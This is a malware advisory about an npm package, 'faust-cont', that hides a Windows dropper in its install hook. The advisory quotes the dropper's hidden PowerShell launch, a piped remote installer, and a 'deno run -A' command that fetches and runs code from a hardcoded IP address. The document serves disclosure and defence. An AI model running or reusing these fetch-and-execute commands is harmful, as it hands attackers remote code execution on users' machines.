MAL-2026-11042

The npm package `faust-cont` is a supply-chain dropper disguised as a benign CLI tool (`index.js` is a decoy that only logs "cli tool install package loaded"). The real behaviour is placed in an install script.

An `install` lifecycle hook (`install: node install.js`) executes automatically on `npm install`, before the package is ever imported. On Windows the install script writes a PowerShell script to `%TEMP%\setup.ps1` and launches it hidden and detached (`powershell -WindowStyle Hidden -ExecutionPolicy Bypass`). That script bootstraps a runtime toolchain so execution succeeds on a clean host — it installs scoop (`irm get.scoop.sh | iex`), then winget, then Deno — and finally runs `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js`, fetching and executing a remote module from a hardcoded raw IP over plain HTTP with all Deno permissions granted (filesystem, network, environment, subprocess). Per the dropper's own comments the remote stage is a server-compiled loader that pulls a second stage which sets up autorun persistence and runs a main payload. The install script also contains a Telegram Bot API beacon that reports OS / architecture / hostname on install (the bot token is blank in the published build). Any Windows workstation or CI runner that installs the package (directly or transitively) hands all-permission remote code execution to the operator.

Detected and classified independently by codelake Research from the npm feed on 2026-07-21; at the time of reporting the package was not present in OSV or GHSA (a first-catch). The package was already unpublished from npm by the time of analysis; the artifact is preserved in the codelake archive.